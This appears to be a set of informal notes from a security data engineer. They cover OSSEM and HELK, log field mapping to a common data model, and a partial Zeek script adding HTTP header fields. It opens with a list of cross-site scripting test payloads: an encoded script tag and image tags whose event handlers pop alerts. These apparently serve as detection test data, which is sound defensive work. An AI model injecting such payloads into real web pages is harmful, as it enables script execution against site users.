neu5ron

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

neu5ron

based upon simulation from: https://github.com/OTRF/detection-hackathon-apt29

Understanding of Zeek Fields

use the following OSSEM branch

neu5ron

https://github.com/Cyb3rWard0g/HELK/releases/edit/untagged-6278864a41fc9304545c

neu5ron

onboarding data sets, events, and logs

1. try to map as many fields from that log to the exisiting CDM entities
2. if a field does not map to an exisiting CDM, see if other log sources have similar values that could be possible to create a new CDM entity. additionally, it may be possible due to limit of the backend database or source where field can not be renamed then skip this.
3. if not enough for number 2 or the possibility that no other log source would ever have those values THEN a sub CDM (aka a CDM specific to that log source) should be created and documented for that log source. if that log source has values specific to itself, but those values are across multiple data/logs - then a sub entity (sub cdm) should be created. aka a custom entity for that log.

notes #TODO:organize

what is the purpose of OSSEM? are we still aligning to this? https://github.com/hunters-forge/OSSEM#goals

neu5ron

	module HTTP;

	# Add additional HTTP Headers
	redef record Info += {
		#Refresh
		refresh:       string  &log &optional;
	
		#Accept-Language
		accept_language:    string  &log &optional;